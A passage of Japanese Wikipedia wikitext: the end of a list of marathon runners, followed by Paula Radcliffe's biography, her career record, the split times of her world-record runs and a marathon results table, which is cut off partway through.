*[[弘山勉]]({{JPN}})- 1990年福岡国際マラソン2位
*[[森下広一]]({{JPN}}) - 1992[[バルセロナオリンピック|バルセロナ五輪]]銀メダリスト
*[[ジェリンド・ボルディン]]({{ITA}}) - 1987[[1987年世界陸上競技選手権大会|世界選手権]]銅、1988[[ソウルオリンピック|ソウル五輪]]金メダリスト
*[[ダグラス・ワキウリ]]({{KEN}}) - 1987[[1987年世界陸上競技選手権大会|世界選手権]]金、1988[[ソウルオリンピック|ソウル五輪]]銀メダリスト
*[[中山竹通]]({{JPN}}) - 1988[[ソウルオリンピック|ソウル五輪]]・1992[[バルセロナオリンピック|バルセロナ五輪]]連続4位
*[[新宅雅也]]({{JPN}}) - 1988[[ソウルオリンピック|ソウル五輪]]代表
*[[瀬古利彦]]({{JPN}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]、1988[[ソウルオリンピック|ソウル五輪]]代表
*[[ジュマ・イカンガー]]({{TAN}}) - 東京国際マラソン優勝2回
*[[カルロス・ロペス]]({{POR}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]金メダリスト
*[[宗猛]]({{JPN}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]4位
*[[宗茂]]({{JPN}}) - 1976[[モントリオールオリンピック|モントリオール五輪]]、1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]代表
*[[児玉泰介]]({{JPN}})- 1986年北京国際マラソン優勝、元日本記録保持者
*[[喜多秀喜]]({{JPN}})
*[[ロバート・ド・キャステラ]]({{AUS}}) - 1983[[1983年世界陸上競技選手権大会|世界選手権]]金メダリスト
*[[ワルデマール・チェルピンスキー]]({{DDR}}) - 1976[[モントリオールオリンピック|モントリオール五輪]]、1980[[モスクワオリンピック|モスクワ五輪]]連続金メダリスト
*[[武冨豊]]({{JPN}})
*[[フランク・ショーター]]({{USA}}) - 1972[[ミュンヘンオリンピック|ミュンヘン五輪]]金、1976[[モントリオールオリンピック|モントリオール五輪]]銀メダリスト
*[[宇佐美彰朗]]({{JPN}}) - 1968[[メキシコオリンピック|メキシコ五輪]],1972[[ミュンヘンオリンピック|ミュンヘン五輪]],1976[[モントリオールオリンピック|モントリオール五輪]]代表
*[[マモ・ウォルデ]]({{ETH}}) - 1968[[メキシコオリンピック|メキシコ五輪]]金、1972年[[ミュンヘンオリンピック|ミュンヘン五輪]]銅メダリスト
*[[デレク・クレイトン]] ({{AUS}}) - 元世界記録保持者
*[[廣島日出国]]({{JPN}})
*[[重松森雄]]({{JPN}}) - 元世界記録保持者
*[[君原健二]]({{JPN}}) - 1964[[1964年東京オリンピック|東京五輪]]8位、1968[[メキシコオリンピック|メキシコ五輪]]銀メダリスト、1972[[ミュンヘンオリンピック|ミュンヘン五輪]]5位
*[[円谷幸吉]]({{JPN}}) - 1964[[1964年東京オリンピック|東京五輪]]銅メダリスト
*[[寺沢徹]]({{JPN}}) - 元世界記録保持者、1964[[1964年東京オリンピック|東京五輪]]代表
*[[アベベ・ビキラ]]({{ETH}}) - 1960[[ローマオリンピック|ローマ五輪]]・1964[[1964年東京オリンピック|東京五輪]]連続金メダリスト
*[[廣島庫夫]]({{JPN}}) - 1956[[メルボルンオリンピック|メルボルン五輪]]、1960[[ローマオリンピック|ローマ五輪]]代表
*[[川島義明]]({{JPN}}) - 1956[[メルボルンオリンピック|メルボルン五輪]]5位
*[[浜村秀雄]]({{JPN}}) - 1956[[メルボルンオリンピック|メルボルン五輪]]代表、1955[[ボストンマラソン]]優勝
*[[エミール・ザトペック]]({{CSR}}) - 1952[[ヘルシンキオリンピック|ヘルシンキ五輪]]金メダリスト
* [[篠崎清]]({{JPN}})
*[[山田敬蔵]]({{JPN}}) - 1952[[ヘルシンキオリンピック|ヘルシンキ五輪]]代表
*[[孫基禎]]({{JPN}}→{{KOR}}) - 1936[[ベルリンオリンピック|ベルリン五輪]]金メダリスト
*[[南昇龍]]({{JPN}}→{{KOR}}) - 1936[[ベルリンオリンピック|ベルリン五輪]]銅メダリスト
*[[池中康雄]]({{JPN}}) - 元世界記録保持者、[[別府大分毎日マラソン|別府大分マラソン]]創設者
*[[津田晴一郎]]({{JPN}})- 1928[[アムステルダムオリンピック|アムステルダム五輪]]6位、1932[[ロサンゼルスオリンピック (1932年)|ロサンゼルス五輪]]5位
*[[山田兼松]]({{JPN}}) - 1928[[アムステルダムオリンピック|アムステルダム五輪]]4位
*[[金栗四三]]({{JPN}}) - [[東京箱根間往復大学駅伝競走|箱根駅伝]]創設者
*[[アルベール・コレー]]({{FRA}}) - 1904年[[セントルイスオリンピック]]銀メダリスト
*[[スピリドン・ルイス]]({{GRE}}) - 1896[[アテネオリンピック (1896年)|アテネ五輪]]金メダリスト
*[[ヘム・ブンティン]]({{CAM}})
*[[セルオド・バトオチル]]({{MGL}})
==女子マラソン選手==
*[[ポーラ・ラドクリフ]]({{GBR}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]金メダリスト、現世界記録保持者
*[[コンスタンティナ・トメスク]]({{ROM}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]銅、2008[[2008年北京オリンピック|北京五輪]]金メダリスト
*[[キャサリン・ヌデレバ]]({{KEN}}) - 2003[[2003年世界陸上競技選手権大会|世界選手権]]金、2004[[アテネオリンピック (2004年)|アテネ五輪]]銀、2005[[2005年世界陸上競技選手権大会|世界選手権]]銀、2007[[2007年世界陸上競技選手権大会|世界選手権]]金、2008[[2008年北京オリンピック|北京五輪]]銀メダリスト、世界歴代3位、前アフリカ記録・前世界記録保持者
*[[周春秀]]({{CHN}} ) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]5位、2007[[2007年世界陸上競技選手権大会|世界選手権]]銀、2008[[2008年北京オリンピック|北京五輪]]銅メダリスト
*[[マーラ・ヤマウチ]]({{GBR}}) - 2007[[2007年世界陸上競技選手権大会|世界選手権]]代表、2008[[大阪国際女子マラソン]]優勝、2008[[2008年北京オリンピック|北京五輪]]6位
*[[ディーナ・カスター]]({{USA}}) - 2004[[アテネオリンピック (2004年)|アテネ五輪]]銅メダリスト、2008[[2008年北京オリンピック|北京五輪]]代表、2013[[2013年世界陸上競技選手権大会|世界選手権]]代表
*[[赤羽有紀子]]({{JPN}}) - 2009[[2009年世界陸上競技選手権大会|世界選手権]]代表、2011[[大阪国際女子マラソン]]優勝、2011[[2011年世界陸上競技選手権大会|世界選手権]]5位
*[[中村友梨香]]({{JPN}}) - 2008[[2008年北京オリンピック|北京五輪]]代表
*[[橋本康子]]({{JPN}}) - 2007[[2007年世界陸上競技選手権大会|世界選手権]]代表
*[[嶋原清子]]({{JPN}}) - 2007[[2007年世界陸上競技選手権大会|世界選手権]]6位
*[[原裕美子]]({{JPN}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]6位、2007[[2007年世界陸上競技選手権大会|世界選手権]]代表
*[[弘山晴美]]({{JPN}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]8位
*[[大島めぐみ]]({{JPN}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]代表
*[[小崎まり]]({{JPN}}) - 2005[[2005年世界陸上競技選手権大会|世界選手権]]、2007[[2007年世界陸上競技選手権大会|世界選手権]]代表
*[[野口みずき]]({{JPN}}) - 2003[[2003年世界陸上競技選手権大会|世界選手権]]銀、2004[[アテネオリンピック (2004年)|アテネ五輪]]金メダリスト、2008[[2008年北京オリンピック|北京五輪]]代表(但し出場辞退)、2013[[2013年世界陸上競技選手権大会|世界選手権]]代表、現アジア・日本記録保持者
*[[土佐礼子]]({{JPN}}) - 2001[[2001年世界陸上競技選手権大会|世界選手権]]銀、2004[[アテネオリンピック (2004年)|アテネ五輪]]5位、2007[[2007年世界陸上競技選手権大会|世界選手権]]銅メダリスト、2008[[2008年北京オリンピック|北京五輪]]代表
*[[坂本直子 (陸上選手)|坂本直子]]({{JPN}}) - 2003[[2003年世界陸上競技選手権大会|世界選手権]]4位、2004[[アテネオリンピック (2004年)|アテネ五輪]]7位
*[[千葉真子]]({{JPN}}) - 2003[[2003年世界陸上競技選手権大会|世界選手権]]銅メダリスト
*[[大南博美]]({{JPN}}) - 2007[[ロッテルダムマラソン]]優勝
*[[松尾和美 (陸上選手)|松尾和美]]({{JPN}}) - 2001[[2001年世界陸上競技選手権大会|世界選手権]]代表
*[[松岡理恵]]({{JPN}}) - 2001[[2001年世界陸上競技選手権大会|世界選手権]]、2003[[2003年世界陸上競技選手権大会|世界選手権]]代表
*[[大南敬美]]({{JPN}}) - 2001[[2001年世界陸上競技選手権大会|世界選手権]]、2003[[2003年世界陸上競技選手権大会|世界選手権]]代表
*[[孫英傑]]({{CHN}}) - 2002年~2005年[[北京国際マラソン]]4連覇、現中国記録保持者
*[[渋井陽子]]({{JPN}}) - 2001[[2001年世界陸上競技選手権大会|世界選手権]]4位、前日本記録保持者
*[[高橋尚子]]({{JPN}}) - 2000[[シドニーオリンピック|シドニー五輪]]金メダリスト、元世界記録保持者
*[[リディア・シモン]]({{ROM}}) - 1997[[1997年世界陸上競技選手権大会|世界選手権]]銅、1999[[1999年世界陸上競技選手権大会|世界選手権]]銅、2000[[シドニーオリンピック|シドニー五輪]]銀、2001[[2001年世界陸上競技選手権大会|世界選手権]]金メダリスト
*[[テグラ・ロルーペ]]({{KEN}}) - 2000[[シドニーオリンピック|シドニー五輪]]代表、元世界記録保持者
*[[山口衛里]]({{JPN}}) - 2000[[シドニーオリンピック|シドニー五輪]]7位
*[[市橋有里]]({{JPN}}) - 1999[[1999年世界陸上競技選手権大会|世界選手権]]銀メダリスト、2000[[シドニーオリンピック|シドニー五輪]]代表
*[[小幡佳代子]]({{JPN}}) - 1999[[1999年世界陸上競技選手権大会|世界選手権]]8位
*[[市河麻由美]]({{JPN}}) - 1999[[1999年世界陸上競技選手権大会|世界選手権]]代表
*[[川上優子]]({{JPN}})- 1999[[名古屋国際女子マラソン]]出場
*[[高橋千恵美]]({{JPN}}) - 2005河口湖日刊スポーツマラソン優勝
*[[鈴木博美 (陸上選手)|鈴木博美]]({{JPN}}) - 1997[[1997年世界陸上競技選手権大会|世界選手権]]金メダリスト
*[[藤村信子]]({{JPN}}) - 1997[[1997年世界陸上競技選手権大会|世界選手権]]代表
*[[ファツマ・ロバ]]({{ETH}}) - 1996[[アトランタオリンピック|アトランタ五輪]]金メダリスト、1999[[1999年世界陸上競技選手権大会|世界選手権]]4位
*[[真木和]]({{JPN}}) - 1996[[アトランタオリンピック|アトランタ五輪]]代表
*[[五十嵐美紀]]({{JPN}}) - 1995[[1995年世界陸上競技選手権大会|世界選手権]]代表
*[[浅利純子]]({{JPN}}) - 1993[[1993年世界陸上競技選手権大会|世界選手権]]金メダリスト、1996[[アトランタオリンピック|アトランタ五輪]]、1999[[1999年世界陸上競技選手権大会|世界選手権]]代表
*[[安部友恵]]({{JPN}}) - 1993[[1993年世界陸上競技選手権大会|世界選手権]]銅メダリスト、1997[[1997年世界陸上競技選手権大会|世界選手権]]代表、100kmマラソン世界記録保持者
*[[松野明美]]({{JPN}}) - 1993[[1993年世界陸上競技選手権大会|世界選手権]]代表
*[[ワレンティナ・エゴロワ]]({{RUS}}) - 1992[[バルセロナオリンピック|バルセロナ五輪]]金、1996[[アトランタオリンピック|アトランタ五輪]]銀メダリスト
*[[有森裕子]]({{JPN}}) - 1991[[1991年世界陸上競技選手権大会|世界選手権]]4位、1992[[バルセロナオリンピック|バルセロナ五輪]]銀、1996[[アトランタオリンピック|アトランタ五輪]]銅メダリスト、元日本記録保持者
*[[朝比奈三代子]]({{JPN}}) - 1994[[ロッテルダムマラソン]]優勝、元日本記録保持者
*[[山本佳子]]({{JPN}}) - 1992[[ボストンマラソン]]2位、元日本記録保持者
*[[小鴨由水]]({{JPN}}) - 1992[[バルセロナオリンピック|バルセロナ五輪]]代表、元日本記録保持者
*[[山下佐知子]]({{JPN}}) - 1991[[1991年世界陸上競技選手権大会|世界選手権]]銀メダリスト、1992[[バルセロナオリンピック|バルセロナ五輪]]4位
*[[谷川真理]]({{JPN}}) - 1991[[東京国際女子マラソン]]優勝、1994[[パリマラソン]]優勝
*[[小島和恵]]({{JPN}}) - 1989[[パリマラソン]]優勝、元日本記録保持者
*[[ロザ・モタ]]({{POR}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]銅、1987[[1987年世界陸上競技選手権大会|世界選手権]]金、1988[[ソウルオリンピック|ソウル五輪]]金メダリスト
*[[カトリン・ドーレ]]({{GER}}) - 1988[[ソウルオリンピック|ソウル五輪]]銅、1991[[1991年世界陸上競技選手権大会|世界選手権]]銅メダリスト
*[[浅井えり子]]({{JPN}})- 1987[[1987年世界陸上競技選手権大会|世界選手権]]、1988[[ソウルオリンピック|ソウル五輪]]代表
*[[荒木久美]]({{JPN}}) - 1988[[ソウルオリンピック|ソウル五輪]]代表
*[[宮原美佐子]]({{JPN}})- 1988[[ソウルオリンピック|ソウル五輪]]代表、元日本記録保持者
*[[イングリッド・クリスチャンセン]]({{NOR}}) - 1984年[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]4位、元世界記録保持者
*[[ジョーン・ベノイト]]({{USA}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]金メダリスト、元世界記録保持者
*[[グレテ・ワイツ]]({{NOR}}) - 1983[[1983年世界陸上競技選手権大会|世界選手権]]金、1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]銀メダリスト、元世界記録保持者
*[[佐々木七恵]]({{JPN}})- 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]代表
*[[増田明美]]({{JPN}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]代表、元日本記録保持者
*[[ジョイス・スミス]]({{GBR}}) - 1984[[ロサンゼルスオリンピック (1984年)|ロサンゼルス五輪]]代表
==関連項目==
*[[陸上競技選手一覧]]
*[[Wikipedia:多数の言語版にあるが日本語版にない記事/スポーツ/陸上競技]]
* [[ワールドマラソンメジャーズ]]
{{デフォルトソート:まらそんせんしゆいちらん}}
[[Category:スポーツ選手一覧 (競技別)]]
[[Category:マラソン選手|*いちらん]]
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6,736 | ポーラ・ラドクリフ | ポーラ・ラドクリフ(Paula Jane Radcliffe、MBE、1973年12月17日 - )は、イギリスのチェシャー州ノースウィッチ生まれの女子長距離走・マラソン選手。
10kmロードと女子マラソンの元世界記録保持者。ラフボロー大学で近現代語を学んだ。二児の母でもある。喘息の持病がある。
1973年 ノースウィッチ近くのダーヴェンハムで生まれた。まもなく両親はポーラを小学校入学させるためにバーントン近郊へ移り住む。喘息や貧血症を患いながらも、7歳の時、アマチュアランナーとして活躍する父の影響で長距離走を始めた。まもなく「フォロッドシャームアスレチッククラブ」に所属する。家族がキングスレーに引越し、12歳のときオークリーに移り住むと父親が副会長となった「ベッドフォードアスレチッククラブ」に所属し、マラソン好きの母もまた彼女をサポートするために同クラブのマネジメントを手がけるようになる。シャーンブルックアッパースクール&コミュニティーカレッジ入学クラスメートにはサッカー選手のダン・ホールがいた。ラフボロー大学でフランス語、ドイツ語を学び、近代ヨーロッパ史を専攻し、首席で卒業。
1996年8月のアトランタオリンピックが五輪初出場だった。女子5000mに出走、五輪メダル獲得はならなかったが5位入賞を果たした。
1999年8月の世界陸上セビリア大会の女子10000mではゲテ・ワミに続いて2位に入り、世界大会で初めてのメダル(銀)を獲得した。
2000年4月のシドニーオリンピックの女子10000mでは、序盤から積極的に先頭集団のトップに立ち、ハイペースでレースを引っ張った。レース終盤の残り1周まで先頭にいながらも、ゴール直前のスプリント勝負に屈して4位入賞に留まり、前回のアトランタ五輪に引き続き惜しくもメダルに届かなかった。
翌2001年8月の世界陸上エドモントン大会女子10000mでは、昨年と全く逆にスローペースの集団にもまれながらレースを進め、ゴール直前でスパートをかけたが、またもスプリント勝負に敗れて結果4位に終わる。
2001年、2002年の世界クロスカントリー選手権を2連覇。
2002年には英連邦競技大会、5000mで、世界記録にあと3秒と迫る14分31秒42で優勝。同年のヨーロッパ選手権の10000mでも優勝した。翌年(2003年)の世界陸上選手権パリ大会は故障により棄権したため、この優勝がトラック競技における頂点となった。
2002年7月にはナイトの称号(MBE)を受け、同年BBCが選出する年間最優秀スポーツ選手に選ばれた。
2003年12月に欧州クロスカントリー選手権で2度目の優勝。これはこの大会の10年間の歴史で初となった。 | [
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| ポーラ・ラドクリフは、イギリスのチェシャー州ノースウィッチ生まれの女子長距離走・マラソン選手。 10kmロードと女子マラソンの元世界記録保持者。ラフボロー大学で近現代語を学んだ。二児の母でもある。喘息の持病がある。 | {{Infobox 陸上選手
| 氏名 = ポーラ・ラドクリフ
| 画像 = Paula Radcliffe at the Berlin Marathon 2011.jpg
| 画像サイズ = 150px
| 画像説明 = 2011年[[ベルリンマラソン]]におけるラドクリフ
| フルネーム = ポーラ・ジェーン・ラドクリフ
| ラテン文字 = Paula Jane Radcliffe
| ニックネーム =
| 国籍 = {{GBR}}
| 種目 = [[中距離走]]・[[長距離走]]・[[マラソン]]
| 所属 =
| 生年月日 = {{生年月日と年齢|1973|12|17}}
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| 身長 = 173cm
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{{Commons|Paula Radcliffe}}
'''ポーラ・ラドクリフ'''('''Paula Jane Radcliffe'''、MBE、[[1973年]][[12月17日]] - )は、[[イギリス]]の[[チェシャー]]州ノースウィッチ生まれの女子[[長距離走]]・[[マラソン]]選手。
10kmロードと女子マラソンの元[[陸上競技の世界記録一覧|世界記録保持者]]。[[ラフボロー大学]]で近現代語を学んだ。二児の母でもある。[[喘息]]の持病がある。
== 経歴 ==
1973年 ノースウィッチ近くのダーヴェンハムで生まれた。まもなく両親はポーラを小学校入学させるためにバーントン近郊へ移り住む。[[喘息]]や[[貧血症]]を患いながらも、7歳の時、アマチュアランナーとして活躍する父の影響で長距離走を始めた。まもなく「フォロッドシャームアスレチッククラブ」に所属する。家族がキングスレーに引越し、12歳のときオークリーに移り住むと父親が副会長となった「ベッドフォードアスレチッククラブ」に所属し、マラソン好きの母もまた彼女をサポートするために同クラブのマネジメントを手がけるようになる。シャーンブルックアッパースクール&コミュニティーカレッジ入学クラスメートにはサッカー選手の[[ダン・ホール]]がいた。ラフボロー大学でフランス語、ドイツ語を学び、近代ヨーロッパ史を専攻し、首席で卒業。
1996年8月の[[アトランタオリンピック]]が五輪初出場だった。女子[[5000メートル競走|5000m]]に出走、五輪メダル獲得はならなかったが5位入賞を果たした。
1999年8月の[[1999年世界陸上選手権|世界陸上セビリア大会]]の女子[[10000メートル競走|10000m]]では[[ゲテ・ワミ]]に続いて2位に入り、世界大会で初めてのメダル(銀)を獲得した。
2000年4月の[[シドニーオリンピック]]の女子10000mでは、序盤から積極的に先頭集団のトップに立ち、ハイペースでレースを引っ張った。レース終盤の残り1周まで先頭にいながらも、ゴール直前のスプリント勝負に屈して4位入賞に留まり、前回のアトランタ五輪に引き続き惜しくもメダルに届かなかった。
翌2001年8月の[[2001年世界陸上選手権|世界陸上エドモントン大会]]女子10000mでは、昨年と全く逆にスローペースの集団にもまれながらレースを進め、ゴール直前でスパートをかけたが、またもスプリント勝負に敗れて結果4位に終わる。
2001年、2002年の世界クロスカントリー選手権を2連覇。
2002年には[[英連邦競技大会]]、[[5000メートル競走|5000m]]で、世界記録にあと3秒と迫る14分31秒42で優勝。同年のヨーロッパ選手権の10000mでも優勝した。翌年(2003年)の[[2003年世界陸上選手権|世界陸上選手権パリ大会]]は故障により棄権したため、この優勝がトラック競技における頂点となった。
2002年7月には[[ナイト]]の称号(MBE)を受け、同年[[英国放送協会|BBC]]が選出する年間最優秀スポーツ選手に選ばれた。
2003年12月に欧州クロスカントリー選手権で2度目の優勝。これはこの大会の10年間の歴史で初となった。
=== マラソン転向 ===
[[File:Paula & Isla Radcliffe 2007 NYC.jpg|thumb|right|upright|長女のイスラと。(2007年ニューヨークシティマラソン)]]
* 初マラソンとなった2002年4月14日の[[ロンドンマラソン]]では、[[スベトラーナ・ザハロワ]]、[[リュドミラ・ペトロワ]]、[[デラルツ・ツル]]、[[土佐礼子]]などの強豪選手相手に積極的に集団を引っ張り、前半ハーフ1時間12分台から後半ハーフ1時間7分52秒の驚異的なビルドアップのレース展開で快走、2時間18分56秒のゴールタイムでいきなりマラソン初優勝、世界歴代2位(当時)の記録を出した。
* 同年10月13日の[[シカゴマラソン]]では、当時の世界記録保持者だった[[キャサリン・ヌデレバ]]や、ロンドンでも対決したザハロワ、地元強豪選手の[[ディーナ・カスター]]、日本からも[[渋井陽子]]、[[千葉真子]]などの有力選手が出場する中、ロンドンとは違い前半からハイペースで飛ばし有力選手を次々とふるい落とし、ヌデレバの記録を1分以上更新する、2時間17分18秒の世界最高記録をマークしてマラソン2連勝を果たす。
* そして翌2003年4月13日のロンドンマラソンでは、男子のペースメーカーを用いながらも、序盤から独走で5km15分台の驚異的なペースで進み、自身の記録を約2分近くも更新する2時間15分25秒の驚異的な世界最高記録を打ち立て、初マラソンからのマラソン3連勝を達成した。
* 2004年8月の[[アテネオリンピック (2004年)|アテネオリンピック]]では、マラソンと10000mとの2種目で金メダル獲得を目指す事となった(2種目出場は周囲から反対の意見も有り、ラドクリフ自身も当初はどちらか1種目に絞る予定だった)。しかし、女子マラソンでは優勝した[[野口みずき]]の25Km過ぎのスパートについていけず、優勝争いから脱落。それから4位に落ちた後36km地点で立ち止まり、悔し泣きしながら途中棄権した。さらに5日後、女子10000mにも強行出場したが、マラソンでの疲労の影響もあって精彩を欠き、ライバルたちに置いていかれた後、8周を残して途中棄権した。結局、2種目ともメダル獲得や入賞はおろか、完走も出来ないまま終わってしまった。気温30度を超える猛暑の影響と、脚の故障による消炎剤の過剰な服用により、内臓に悪影響を及ぼしたことが敗因と言われる<ref>[http://number.goo.ne.jp/others/20050512-olympi.html スコアカード-Olympic Road マラソンの女王、復活。そのたくましさと潔さ。]</ref>。
* 2004年11月7日に行われた[[ニューヨークシティーマラソン]]にて、アテネ五輪からわずか3ヶ月の間隔でフルマラソン出場、2時間23分10秒でアテネ五輪の雪辱を果たす優勝を果たした。レース後、2位でゴールした[[スーザン・チェプケメイ]]に抱き抱えられて祝福された。
* 2005年4月のロンドンマラソンで2年ぶり3度目の優勝を果たした。途中23マイル地点で腹痛のため15秒ほどロスしたが、序盤から独走で2位に5分以上の大差をつける快走で2時間17分42秒で圧勝し復調を示した。このレースで4回目のサブ20を記録し、現在でも女子マラソン選手のサブ20・回数最多記録として君臨している(2位タイはヌデレバ、[[メアリー・ケイタニー]]、[[ティルネシュ・ディババ]]、[[ブリジット・コスゲイ]]の3回)。
* 同年8月の[[2005年世界陸上選手権|世界陸上ヘルシンキ大会]]女子マラソンでは、気温15度を下回る好条件もあって、レース序盤から自らハイペースで飛ばしていった。粘るヌデレバ、[[コンスタンティナ・トメスク]]などの優勝候補選手達を振り落とした後もペースが落ちることなく終盤は独走となり、2時間20分57秒の大会新記録で優勝、初の世界一のタイトルを手にした。
* 2006年7月に妊娠を発表。2007年1月17日に出産、母子共に元気であると公式HP上にて告知された。同年6月頃より練習を再開させるが、[[ワイルドカード (スポーツ)|ワイルドカード]]で出場権があった同年9月開催の[[2007年世界陸上選手権|世界陸上大阪大会]]女子マラソンは欠場した。
* 2007年11月4日に行われたニューヨークシティーマラソンに2年3か月ぶりにフルマラソン出場、2時間23分09秒で復帰戦を制した。
* 2008年4月13日に行われたロンドンマラソンに出走予定だったが、右足の[[爪先]]のケガにより欠場した。その後左[[臀部]]に故障を発生し、診断の結果左[[大腿骨]]の[[疲労骨折]]を起こしている事が判明する。
* 2008年8月17日に開催された[[2008年北京オリンピック|北京オリンピック]]女子マラソンには、同じイギリス代表の[[マーラ・ヤマウチ]]らと共に出場したが、レース中に足の故障が再発。38Km付近で前回アテネ五輪同様立ち止まってしまったが、その後は足を引きずりながら走り続け、なんとか完走こそしたが結局順位は23位、2時間32分38秒の平凡な結果に終わった。オリンピックには4大会連続出場を果たしたものの、五輪メダルは一度も獲得出来なかった。
* 2008年11月2日開催のニューヨークシティーマラソンに出走、2時間23分56秒で2年連続3回目の優勝を果たし、北京五輪惨敗の雪辱を果たした。
* 2009年11月1日開催のニューヨークシティーマラソンに3年連続出走したが、優勝したデラルツ・ツルらに敗れて2時間29分27秒の4位に終わり、同大会の3連覇を逃した。
* ニューヨークシティマラソン後に競技生活は休養に入り、2010年10月に第二子となる長男を出産した。
* 2011年09月25日開催の[[ベルリンマラソン]]で、ニューヨークシティーマラソン後約2年ぶりとなる第二子出産後初のマラソン出走を果たした。2時間19分44秒のサブ20の好記録で優勝した[[フローレンス・キプラガト]]、ベテランの強豪選手の[[イリーナ・ミキテンコ]]に敗れて3位に終わったが、2時間23分46秒のタイムで復活をアピールして、2012年地元開催の[[ロンドンオリンピック (2012年)|ロンドンオリンピック]]女子マラソン[[イギリス]]代表選出を決定づけた。
* 2012年07月29日、ロンドンオリンピック女子マラソンに出場予定だったが、足の負傷を理由に大会を欠場すると発表した。ロンドン五輪開催が決まってから良い走りを見せることを目標としてきたことを明らかにしたラドクリフは、「私にとって5度目の五輪が母国で開催されるということで、過去2大会の悔しさを払拭するのにこれ以上の舞台はないと思っていました。それを励みに長くつらい時期を乗り越えてきただけに、走れないと認めなければならないのはとても辛いことです」とコメントしている。
* 2013年03月27日、英BBC放送(電子版)は、ラドクリフが長引く足のけがにより、「現実問題として(競技に)復帰できない可能性があることを認識している」と語り、引退の危機にあると報じた。39歳のラドクリフは、ロンドン五輪を欠場し、2012年8月に手術を受けたが、現在も短時間のジョギングしかできていないという。「わずかな希望だが、レースを走って現役生活を終えたい」と意欲を示す一方で、「ここ数ヶ月は、子どもを追いかけて走ることもできない」「20年後に健康な足でいたい」と、揺れる心を明かした。
* 2014年09月21日、ラドクリフは足の手術以来2年ぶりに、英国ウースターシティの10kmロードレースに復帰出走した。
=== 現役引退 ===
* 2015年4月26日、ラドクリフは3年半振りのフルマラソン出場となるロンドンマラソンに、一般の部として参加出場。2時間36分台ながら完走を果たし、このレースを最後に現役引退した<ref>[http://www.asahi.com/articles/ASH4W25L1H4WTIPE004.html 女子マラソンのラドクリフ、有終の完走 英で引退レース(朝日新聞)]2015年4月27日記事</ref>。
* 2015年9月8日、陸上競技界でトップ選手によるドーピング疑惑が大きく取り沙汰されている問題で、2003年に2時間15分25秒という余りに飛び抜けた女子マラソン世界記録達成で、薬物使用疑惑が向けられたラドクリフは、英BBC放送(電子版)などで改めて自ら薬物違反を断固否定している<ref>[https://www.nikkansports.com/sports/athletics/news/1535511.html 女子マラソン記録保持者のラドクリフが薬物違反否定(日刊スポーツ)]2015年9月9日記事</ref>。その後[[ブリジット・コスゲイ]]が2019年10月13日のシカゴマラソンに出場し2時間14分04秒で16年ぶりに世界新記録を更新した。
== ラドクリフのマラソン世界最高記録 ==
*'''2時間17分18秒''':[[2002年]][[10月13日]] [[シカゴマラソン]]
{| class="wikitable" style="text-align:right"
! !! 5km !! 10km !! 15km !! 20km !! ハーフ !! 25km !! 30km !! 35km !! 40km !! ゴール
|-
! タイム
| 16:27 || 32:47 || 49:05 || 1:05:26 || 1:09:01 || 1:21:34 || 1:37:40 || 1:53:45 || 2:10:08 || 2:17:18
|-
! スプリット
| 16:27 || 16:20 || 16:18 || 16:21 || || 16:08 || 16:06 || 16:05 || 16:23 || 7:10
|}
*'''2時間15分25秒''':[[2003年]][[4月13日]] [[ロンドンマラソン]]
{| class="wikitable" style="text-align:right"
! !! 5km !! 10km !! 15km !! 20km !! ハーフ !! 25km !! 30km !! 35km !! 40km !! ゴール
|-
! タイム
| 15:48 || 32:01 || 48:15 || 1:04:28 || 1:08:02 || 1:20:34 || 1:36:36 || 1:52:34 || 2:08:29 || 2:15:25
|-
! スプリット
| 15:48 || 16:13 || 16:14 || 16:13 || || 16:06 || 16:02 || 15:58 || 15:55 || 6:56
|}
== マラソン戦績 ==
{| class="wikitable" style="text-align:left; font-size:small"
!年!!大会!!開催国!!成績!!タイム!!備考
|-
|2002 ||[[ロンドンマラソン]] ||{{GBR}} ||{{優勝}} ||style="text-align:center"|2:18:56||初マラソン女子世界最高記録
|-
|2002 ||[[シカゴマラソン]] ||{{USA}} ||{{優勝}} ||style="text-align:center"|2:17:18||女子世界最高記録(当時)
|-
|2003 ||ロンドンマラソン ||{{GBR}} ||{{優勝}} ||style="text-align:center"|2:15:25||女子世界最高記録(当時)
|-
|2004 ||[[アテネオリンピック (2004年)|アテネオリンピック]] [[File:Olympic flag.svg|40px]] ||{{GRC}} ||{{DNF}} ||style="text-align:center"|途中棄権||
|-
|2004 ||[[ニューヨークシティーマラソン]] ||{{USA}} ||{{優勝}} ||style="text-align:center"|2:23:10||
|-
|2005 ||ロンドンマラソン ||{{GBR}} ||{{優勝}} ||style="text-align:center"|2:17:42||
|-
|2005 ||[[2005年世界陸上選手権|世界陸上ヘルシンキ大会]] ||{{FIN}} ||{{優勝}} ||style="text-align:center"|2:20:57||大会最高記録
|-
|2007 ||ニューヨークシティーマラソン ||{{USA}} ||{{優勝}} ||style="text-align:center"|2:23:09||
|-
|2008 ||[[2008年北京オリンピック|北京オリンピック]] [[File:Olympic flag.svg|40px]] ||{{CHN}} ||style="text-align:center"|23位||style="text-align:center"|2:32:38||
|-
|2008 ||ニューヨークシティーマラソン ||{{USA}} ||{{優勝}} ||style="text-align:center"|2:23:56||
|-
|2009 ||ニューヨークシティーマラソン ||{{USA}} ||style="text-align:center"|4位||style="text-align:center"|2:29:27||
|-
|2011 ||[[ベルリンマラソン]] ||{{GER}} ||{{3位}} ||style="text-align:center"|2:23:46||
|-
|2012 ||[[ロンドンオリンピック (2012年)|ロンドンオリンピック]] [[File:Olympic flag.svg|40px]] ||{{GBR}} ||{{DNS}} ||style="text-align:center"|欠場||
|-
